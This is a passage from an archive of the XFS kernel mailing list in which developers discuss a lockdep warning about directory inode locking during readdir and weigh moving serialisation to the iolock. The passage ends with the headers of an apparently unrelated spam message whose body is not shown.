lock(&(&ip->i_lock)->mr_lock); > [ 96.102030] lock(&mm->mmap_sem); is impossible, because what it really is: CPU0 CPU1 ilock (IS_DIR) lock(mmap_sem) ilock(IS_REG) lock(mmap_sem) cannot deadlock because there two different inode locks involved here. So, to shut lockdep up, we've got to fundamentally alter the locking strategy. The current code is not broken, but we've now got to jump throw complex hoops to make the locking validator understand that it's not broken. This is a great example of how lockdep can be considered harmful.... Solutions being discussed in this thread: http://oss.sgi.com/pipermail/xfs/2014-March/034815.html > Also, the culprit commits were already backported to > RHEL7 beta somewhere between 3.10.0-90.el7 and 3.10.0-97.el7 . That should already be sorted out. :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Mar 10 16:17:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CB887F3F for ; Mon, 10 Mar 2014 16:17:02 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 171808F8040; Mon, 10 Mar 2014 14:16:58 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 932584266DC; Mon, 10 Mar 2014 16:16:58 -0500 (CDT) Date: Mon, 10 Mar 2014 16:16:58 -0500 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310211658.GT1935@sgi.com> References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> <20140310204647.GW6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310204647.GW6851@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi, On Tue, Mar 11, 2014 at 07:46:47AM +1100, Dave Chinner wrote: > On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > > Changing the directory code to handle this sort of locking is going > > > to require a bit of surgery. However, I can see advantages to moving > > > directory data to the same locking strategy as regular file data - > > > locking heirarchies are identical, directory ilock hold times are > > > much reduced, we don't get lockdep whining about taking page faults > > > with the ilock held, etc. > > > > > > A quick hack at to demonstrate the high level, initial step of using > > > the IOLOCK for readdir serialisation. I've done a little smoke > > > testing on it, so it won't die immediately. It should get rid of all > > > the nasty lockdep issues, but it doesn't start to address the deeper > > > restructing that is needed. > > > > What synchronization do we actually need from the iolock? Pushing the > > ilock down to where it's actually needed is a good idea either way, > > though. > > The issue is that if we push the ilock down to the just the block > mapping routines, the directory can be modified while the readdir is > in progress. That's the root problem that adding the ilock solved. > Now, just pushing the ilock down to protect the bmbt lookups might > result in a consistent lookup, but it won't serialise sanely against > modifications. > > i.e. readdir only walks one dir block at a time but > it maps multiple blocks for readahead and keeps them in a local > array and doesn't validate them again before issuing read o nthose > buffers. Hence at a high level we currently have to serialise > readdir against all directory modifications. > > The only other option we might have is to completely rewrite the > directory readahead code not to cache mappings. If we use the ilock > purely for bmbt lookup and buffer read, then the ilock will > serialise against modification, and the buffer lock will stabilise > the buffer until the readdir moves to the next buffer and picks the > ilock up again to read it. > > That would avoid the need for high level serialisation, but it's a > lot more work than using the iolock to provide the high level > serialisation and i'm still not sure it's 100% safe. And I've got no > idea if it would work for CXFS. Hopefully someone from SGI will > chime in here.... Also in leaf and node formats a single modification can change multiple buffers, so I suspect the buffer lock isn't enough serialization to maintain a consistent directory in the face of multiple readers and writers. The iolock does resolve that issue. > > > This would be a straight forward change, except for two things: > > > filestreams and lockdep. The filestream allocator takes the > > > directory iolock and makes assumptions about parent->child locking > > > order of the iolock which will now be invalidated. Hence some > > > changes to the filestreams code is needed to ensure that it never > > > blocks on directory iolocks and deadlocks. instead it needs to fail > > > stream associations when such problems occur. > > > > I think the right fix is to stop abusing the iolock in filestreams. > > To me it seems like a look inside fstrm_item_t should be fine > > for what the filestreams code wants if I understand it correctly. > > > > From looking over some of the filestreams code just for a few minutes > > I get an urge to redo lots of it right now.. > > I get that urge from time to time, too. So far I've managed to avoid > it. > > > > @@ -1228,7 +1244,7 @@ xfs_create( > > > * the transaction cancel unlocking dp so don't do it explicitly in the > > > * error path. > > > */ > > > - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); > > > + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); > > > > What do we need the iolock on these operations for? > > These are providing the high level readdir vs modification > serialisation protection. And we have to unlock it on transaction > commit, which is why it needs to be added to the xfs_trans_ijoin() > calls... Makes sense, I think. I'm not sure what the changes to the directory code would look like. -Ben From david@fromorbit.com Mon Mar 10 16:20:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3B9227F3F for ; Mon, 10 Mar 2014 16:20:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 29FE08F804B for ; Mon, 10 Mar 2014 14:20:36 -0700 (PDT) X-ASG-Debug-ID: 1394486432-04cbb054b921c950001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wM0QtOcWBdVEuE6Q for ; Mon, 10 Mar 2014 14:20:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvNXAD8sHlN5LJYePGdsb2JhbABagwaDRoUMtC2FWIEgFwMBAQEBHxkNKIIlAQEBAwEnExwjBQsIAw4KCSUPBSUDBxoTG4dWB89oFxaNWmsHgySBFASUWYNrlW8p Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:50:31 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN7cZ-0002H2-MP; Tue, 11 Mar 2014 08:20:27 +1100 Date: Tue, 11 Mar 2014 08:20:27 +1100 From: Dave Chinner To: Ben Myers Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310212027.GA6851@dastard> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310205249.GS1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310205249.GS1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394486432 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3770 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 03:52:49PM -0500, Ben Myers wrote: > Hi Dave, > > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > On Sat, Mar 08, 2014 at 09:58:01PM -0500, Michael L. Semon wrote: > > > Hi! I was playing a shell game with some precious backup data. It > > > went like this: > > > > > > open a 36-GB source partition (DM linear, partitions from 2 drives, > > > v5-superblock XFS) > > > > > > open a 32-GB aes-xts crypt (v4-superblock XFS) > > > > > > `cp -av` from holding partition to crypt > > > > > > It was during the cp operation that I got this multi-CPU version of > > > the harmless lockdep: > > > > > > ========================================================= > > > [ INFO: possible irq lock inversion dependency detected ] > > > 3.14.0-rc5+ #6 Not tainted > > > --------------------------------------------------------- > > > kswapd0/25 just changed the state of lock: > > > (&xfs_dir_ilock_class){++++-.}, at: [<791c09fa>] xfs_ilock+0xff/0x16c > > > but this lock took another, RECLAIM_FS-unsafe lock in the past: > > > (&mm->mmap_sem){++++++} > > > > > > and interrupts could create inverse lock ordering between them. > > > > > > > > > other info that might help us debug this: > > > Possible interrupt unsafe locking scenario: > > > > > > CPU0 CPU1 > > > ---- ---- > > > lock(&mm->mmap_sem); > > > local_irq_disable(); > > > lock(&xfs_dir_ilock_class); > > > lock(&mm->mmap_sem); > > > > > > lock(&xfs_dir_ilock_class); > > > > Well, that's rather interesting. I'd love to know where we take the > > directory ilock with interupts disabled - and then take a page > > fault... :/ ..... > > Realistically, I think that the readdir locking change was > > fundamentally broken. Why? Because taking page faults while holding > > the ilock violates the lock order we have for inodes. For regular > > files, the lock heirarchy is iolock -> page fault -> ilock, and we > > got rid of the need for the iolock in the inode reclaim path because > > of all the problems it caused lockdep. Now we've gone and > > reintroduced that same set of problems - only worse - by allowing > > the readdir code to take page faults while holding the ilock.... > > > > I'd like to revert the change that introduced the ilock into the > > readdir path, but I suspect that woul dbe an unpopular direction to > > take. However, we need a solution that doesn't drive us insane with > > lockdep false positives. > > > > IOWs, we need to do this differently - readdir needs to be protected > > by the iolock, not the ilock, and only the block mapping routines in > > the readdir code should be protected by the ilock. i.e. the same > > locking strategy that is used for regular files: iolock protects the > > contents of the file, the ilock protects the inode metadata. > > > > What I think we really need to do is drive the ilock all the way > > into the block mapping functions of the directory code and to the > > places where the inode metadata is actually going to be modified. > > The iolock protects access to the directory data, and logging of > > changes to those blocks is serialised by the buffer locks, so we > > don't actually need the inode ilock to serialise access to the > > directory data - we only need the ilock for modifications to the > > inode and it's blockmaps itself, same as for regular files. > > > > Changing the directory code to handle this sort of locking is going > > to require a bit of surgery. However, I can see advantages to moving > > directory data to the same locking strategy as regular file data - > > locking heirarchies are identical, directory ilock hold times are > > much reduced, we don't get lockdep whining about taking page faults > > with the ilock held, etc. > > > > A quick hack at to demonstrate the high level, initial step of using > > the IOLOCK for readdir serialisation. I've done a little smoke > > testing on it, so it won't die immediately. It should get rid of all > > the nasty lockdep issues, but it doesn't start to address the deeper > > restructing that is needed. > > > > Thoughts, comments? I'm especially interested in what SGI people > > have to say here because this locking change was needed for CXFS, > > and changing the directory locking iheirarchy is probably going to > > upset CXFS a lot... > > Protecting directory contents with the iolock and pushing the ilock down > to protect the directory block mapping functions seems like a good > strategy to me. Ok, it seems like a good strategy, but does it work for CXFS? What about the other option of a combination of ilock for mapping and read, and buffer locks for stabilisation? > In this area I think it's good to treat directories the > same as regular files. I have not had a very close look yet... and > couldn't find where we take a fault with irqs disabled. Maybe something > out of a workqueue? Workqueues don't run with interrupts disabled. Yes, we take inode locks in workqueue context (e.g. AIL tail pushing), but that's not what is being warned about here. And the page fault only comes from the filldir callback which runs copy_to_user(), and that most definitely does not occur in interrupt context. FWIW, it's invalid to take the ilock in interrupt context because it's a sleeping lock without using trylock semantics. If you use "trylock" semantics, then lockdep doesn't complain about that because it can't deadlock. I *think* that lockdep is complaining about reclaim contexts, not interrupts, and it's issuing this "interrupts disabled" deadlocks because the memory reclaim state code is piggy-backed on the interrupt state tracking within lockdep. Either way, though, lockdep is wrong. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 10 16:25:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 35CD67F3F for ; Mon, 10 Mar 2014 16:25:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8180AC001 for ; Mon, 10 Mar 2014 14:25:01 -0700 (PDT) X-ASG-Debug-ID: 1394486699-04cbb054b921cd10001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wu5NELCnBSnjKAJH for ; Mon, 10 Mar 2014 14:24:59 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2014 07:54:31 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WN7gV-0002HM-0w; Tue, 11 Mar 2014 08:24:31 +1100 Date: Tue, 11 Mar 2014 08:24:30 +1100 From: Dave Chinner To: Ben Myers Cc: Christoph Hellwig , "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310212430.GB6851@dastard> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> <20140310204647.GW6851@dastard> <20140310211658.GT1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310211658.GT1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394486699 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3770 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 10, 2014 at 04:16:58PM -0500, Ben Myers wrote: > Hi, > > On Tue, Mar 11, 2014 at 07:46:47AM +1100, Dave Chinner wrote: > > On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > > > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > > > Changing the directory code to handle this sort of locking is going > > > > to require a bit of surgery. However, I can see advantages to moving > > > > directory data to the same locking strategy as regular file data - > > > > locking heirarchies are identical, directory ilock hold times are > > > > much reduced, we don't get lockdep whining about taking page faults > > > > with the ilock held, etc. > > > > > > > > A quick hack at to demonstrate the high level, initial step of using > > > > the IOLOCK for readdir serialisation. I've done a little smoke > > > > testing on it, so it won't die immediately. It should get rid of all > > > > the nasty lockdep issues, but it doesn't start to address the deeper > > > > restructing that is needed. > > > > > > What synchronization do we actually need from the iolock? Pushing the > > > ilock down to where it's actually needed is a good idea either way, > > > though. > > > > The issue is that if we push the ilock down to the just the block > > mapping routines, the directory can be modified while the readdir is > > in progress. That's the root problem that adding the ilock solved. > > Now, just pushing the ilock down to protect the bmbt lookups might > > result in a consistent lookup, but it won't serialise sanely against > > modifications. > > > > i.e. readdir only walks one dir block at a time but > > it maps multiple blocks for readahead and keeps them in a local > > array and doesn't validate them again before issuing read o nthose > > buffers. Hence at a high level we currently have to serialise > > readdir against all directory modifications. > > > > The only other option we might have is to completely rewrite the > > directory readahead code not to cache mappings. If we use the ilock > > purely for bmbt lookup and buffer read, then the ilock will > > serialise against modification, and the buffer lock will stabilise > > the buffer until the readdir moves to the next buffer and picks the > > ilock up again to read it. > > > > That would avoid the need for high level serialisation, but it's a > > lot more work than using the iolock to provide the high level > > serialisation and i'm still not sure it's 100% safe. And I've got no > > idea if it would work for CXFS. Hopefully someone from SGI will > > chime in here.... > > Also in leaf and node formats a single modification can change multiple > buffers, so I suspect the buffer lock isn't enough serialization to maintain a > consistent directory in the face of multiple readers and writers. The iolock > does resolve that issue. Right, but we don't care about anything other than the leaf block that we are currently reading is consistent when the read starts and is consistent across the entire processing. i.e. if the leaf is locked by readdir, then the modification is completely stalled until the readdir lets it go. And readdir then can't get the next buffer until the modification is complete because it blocks on the ilock to get the next mapping and buffer.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Mar 10 16:30:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D055F7F3F for ; Mon, 10 Mar 2014 16:30:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 90C268F8040; Mon, 10 Mar 2014 14:30:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5369A4266DC; Mon, 10 Mar 2014 16:30:49 -0500 (CDT) Date: Mon, 10 Mar 2014 16:30:49 -0500 From: Ben Myers To: Dave Chinner Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310213049.GD26064@sgi.com> References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310205249.GS1935@sgi.com> <20140310212027.GA6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310212027.GA6851@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Tue, Mar 11, 2014 at 08:20:27AM +1100, Dave Chinner wrote: > On Mon, Mar 10, 2014 at 03:52:49PM -0500, Ben Myers wrote: > > Hi Dave, > > > > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > > On Sat, Mar 08, 2014 at 09:58:01PM -0500, Michael L. Semon wrote: > > > > Hi! I was playing a shell game with some precious backup data. It > > > > went like this: > > > > > > > > open a 36-GB source partition (DM linear, partitions from 2 drives, > > > > v5-superblock XFS) > > > > > > > > open a 32-GB aes-xts crypt (v4-superblock XFS) > > > > > > > > `cp -av` from holding partition to crypt > > > > > > > > It was during the cp operation that I got this multi-CPU version of > > > > the harmless lockdep: > > > > > > > > ========================================================= > > > > [ INFO: possible irq lock inversion dependency detected ] > > > > 3.14.0-rc5+ #6 Not tainted > > > > --------------------------------------------------------- > > > > kswapd0/25 just changed the state of lock: > > > > (&xfs_dir_ilock_class){++++-.}, at: [<791c09fa>] xfs_ilock+0xff/0x16c > > > > but this lock took another, RECLAIM_FS-unsafe lock in the past: > > > > (&mm->mmap_sem){++++++} > > > > > > > > and interrupts could create inverse lock ordering between them. > > > > > > > > > > > > other info that might help us debug this: > > > > Possible interrupt unsafe locking scenario: > > > > > > > > CPU0 CPU1 > > > > ---- ---- > > > > lock(&mm->mmap_sem); > > > > local_irq_disable(); > > > > lock(&xfs_dir_ilock_class); > > > > lock(&mm->mmap_sem); > > > > > > > > lock(&xfs_dir_ilock_class); > > > > > > Well, that's rather interesting. I'd love to know where we take the > > > directory ilock with interupts disabled - and then take a page > > > fault... :/ > ..... > > > Realistically, I think that the readdir locking change was > > > fundamentally broken. Why? Because taking page faults while holding > > > the ilock violates the lock order we have for inodes. For regular > > > files, the lock heirarchy is iolock -> page fault -> ilock, and we > > > got rid of the need for the iolock in the inode reclaim path because > > > of all the problems it caused lockdep. Now we've gone and > > > reintroduced that same set of problems - only worse - by allowing > > > the readdir code to take page faults while holding the ilock.... > > > > > > I'd like to revert the change that introduced the ilock into the > > > readdir path, but I suspect that woul dbe an unpopular direction to > > > take. However, we need a solution that doesn't drive us insane with > > > lockdep false positives. > > > > > > IOWs, we need to do this differently - readdir needs to be protected > > > by the iolock, not the ilock, and only the block mapping routines in > > > the readdir code should be protected by the ilock. i.e. the same > > > locking strategy that is used for regular files: iolock protects the > > > contents of the file, the ilock protects the inode metadata. > > > > > > What I think we really need to do is drive the ilock all the way > > > into the block mapping functions of the directory code and to the > > > places where the inode metadata is actually going to be modified. > > > The iolock protects access to the directory data, and logging of > > > changes to those blocks is serialised by the buffer locks, so we > > > don't actually need the inode ilock to serialise access to the > > > directory data - we only need the ilock for modifications to the > > > inode and it's blockmaps itself, same as for regular files. > > > > > > Changing the directory code to handle this sort of locking is going > > > to require a bit of surgery. However, I can see advantages to moving > > > directory data to the same locking strategy as regular file data - > > > locking heirarchies are identical, directory ilock hold times are > > > much reduced, we don't get lockdep whining about taking page faults > > > with the ilock held, etc. > > > > > > A quick hack at to demonstrate the high level, initial step of using > > > the IOLOCK for readdir serialisation. I've done a little smoke > > > testing on it, so it won't die immediately. It should get rid of all > > > the nasty lockdep issues, but it doesn't start to address the deeper > > > restructing that is needed. > > > > > > Thoughts, comments? I'm especially interested in what SGI people > > > have to say here because this locking change was needed for CXFS, > > > and changing the directory locking iheirarchy is probably going to > > > upset CXFS a lot... > > > > Protecting directory contents with the iolock and pushing the ilock down > > to protect the directory block mapping functions seems like a good > > strategy to me. > > Ok, it seems like a good strategy, but does it work for CXFS? Yes it should work for CXFS. > What about the other option of a combination of ilock for mapping and > read, and buffer locks for stabilisation? I think this option probably won't work because of those cases where you modify >1 buffer for a single directory modification, e.g. in a node directory you might modify a buffer each for the data, freeindex, node, and leaf blocks. > > In this area I think it's good to treat directories the > > same as regular files. I have not had a very close look yet... and > > couldn't find where we take a fault with irqs disabled. Maybe something > > out of a workqueue? > > Workqueues don't run with interrupts disabled. Yes, we take inode > locks in workqueue context (e.g. AIL tail pushing), but that's not > what is being warned about here. And the page fault only comes from > the filldir callback which runs copy_to_user(), and that most > definitely does not occur in interrupt context. > > FWIW, it's invalid to take the ilock in interrupt context because > it's a sleeping lock without using trylock semantics. If you use > "trylock" semantics, then lockdep doesn't complain about that > because it can't deadlock. I *think* that lockdep is complaining > about reclaim contexts, not interrupts, and it's issuing this > "interrupts disabled" deadlocks because the memory reclaim state > code is piggy-backed on the interrupt state tracking within lockdep. > Either way, though, lockdep is wrong. Yeah, that sounds plausible. -Ben From bpm@sgi.com Mon Mar 10 17:10:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 74B4E7F3F for ; Mon, 10 Mar 2014 17:10:06 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF9D6AC001; Mon, 10 Mar 2014 15:10:02 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3748F4266DC; Mon, 10 Mar 2014 17:10:02 -0500 (CDT) Date: Mon, 10 Mar 2014 17:10:02 -0500 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310221002.GE26064@sgi.com> References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> <20140310204647.GW6851@dastard> <20140310211658.GT1935@sgi.com> <20140310212430.GB6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310212430.GB6851@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Mar 11, 2014 at 08:24:30AM +1100, Dave Chinner wrote: > On Mon, Mar 10, 2014 at 04:16:58PM -0500, Ben Myers wrote: > > Hi, > > > > On Tue, Mar 11, 2014 at 07:46:47AM +1100, Dave Chinner wrote: > > > On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > > > > On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > > > > > Changing the directory code to handle this sort of locking is going > > > > > to require a bit of surgery. However, I can see advantages to moving > > > > > directory data to the same locking strategy as regular file data - > > > > > locking heirarchies are identical, directory ilock hold times are > > > > > much reduced, we don't get lockdep whining about taking page faults > > > > > with the ilock held, etc. > > > > > > > > > > A quick hack at to demonstrate the high level, initial step of using > > > > > the IOLOCK for readdir serialisation. I've done a little smoke > > > > > testing on it, so it won't die immediately. It should get rid of all > > > > > the nasty lockdep issues, but it doesn't start to address the deeper > > > > > restructing that is needed. > > > > > > > > What synchronization do we actually need from the iolock? Pushing the > > > > ilock down to where it's actually needed is a good idea either way, > > > > though. > > > > > > The issue is that if we push the ilock down to the just the block > > > mapping routines, the directory can be modified while the readdir is > > > in progress. That's the root problem that adding the ilock solved. > > > Now, just pushing the ilock down to protect the bmbt lookups might > > > result in a consistent lookup, but it won't serialise sanely against > > > modifications. > > > > > > i.e. readdir only walks one dir block at a time but > > > it maps multiple blocks for readahead and keeps them in a local > > > array and doesn't validate them again before issuing read o nthose > > > buffers. Hence at a high level we currently have to serialise > > > readdir against all directory modifications. > > > > > > The only other option we might have is to completely rewrite the > > > directory readahead code not to cache mappings. If we use the ilock > > > purely for bmbt lookup and buffer read, then the ilock will > > > serialise against modification, and the buffer lock will stabilise > > > the buffer until the readdir moves to the next buffer and picks the > > > ilock up again to read it. > > > > > > That would avoid the need for high level serialisation, but it's a > > > lot more work than using the iolock to provide the high level > > > serialisation and i'm still not sure it's 100% safe. And I've got no > > > idea if it would work for CXFS. Hopefully someone from SGI will > > > chime in here.... > > > > Also in leaf and node formats a single modification can change multiple > > buffers, so I suspect the buffer lock isn't enough serialization to maintain a > > consistent directory in the face of multiple readers and writers. The iolock > > does resolve that issue. > > Right, but we don't care about anything other than the leaf block > that we are currently reading is consistent when the read starts and > is consistent across the entire processing. i.e. if the leaf is locked by > readdir, then the modification is completely stalled until the > readdir lets it go. And readdir then can't get the next buffer until > the modification is complete because it blocks on the ilock to get > the next mapping and buffer.... As long as [you pointed out above] the readahead buffers aren't cached, and all of the callers who do require that data/freeindex/node/leaf blocks be consistent continue to take the ilock... Yeah, I think that might work. -Ben From vbreger@wanadoo.fr Mon Mar 10 18:21:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FREEMAIL_FROM, HTML_FONT_LOW_CONTRAST,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8B9A47F3F for ; Mon, 10 Mar 2014 18:21:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72B2E304051 for ; Mon, 10 Mar 2014 16:21:37 -0700 (PDT) X-ASG-Debug-ID: 1394493685-04cbb054b6223360001-NocioJ Received: from srv05.drhosting.cl (srv05.drhosting.cl [190.153.249.123]) by cuda.sgi.com with ESMTP id A6xztjkXtWsvvXLO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 16:21:28 -0700 (PDT) X-Barracuda-Envelope-From: vbreger@wanadoo.fr X-Barracuda-Apparent-Source-IP: 190.153.249.123 Received: from [103.21.41.84] (port=55390 helo=lvkbjk) by srv05.drhosting.cl with esmtpa (Exim 4.82) (envelope-from ) id 1WN9VT-0005sK-W5 for xfs@oss.sgi.com; Mon, 10 Mar 2014 20:21:19 -0300 Date: Tue, 11 Mar 2014 06:01:12 +0600 Message-ID: <69497009.20140311062447@wanadoo.fr> From: "Fred Kothe" Reply-To: Subject: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDi7ufi8ODy6PL8?= =?windows-1251?B?IOfw5e3o5SAtIPLu6/zq7iDs7e7j6PUg4u7o?= =?windows-1251?B?8fLo7fMg7OX38uAhISEsIPP94dP73s/p+A==?= To: "xfs" X-ASG-Orig-Subj: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDi7ufi8ODy6PL8?= =?windows-1251?B?IOfw5e3o5SAtIPLu6/zq7iDs7e7j6PUg4u7o?= =?windows-1251?B?8fLo7fMg7OX38uAhISEsIPP94dP73s/p+A==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----------39BDA94AFCFB588" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - srv05.drhosting.cl X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 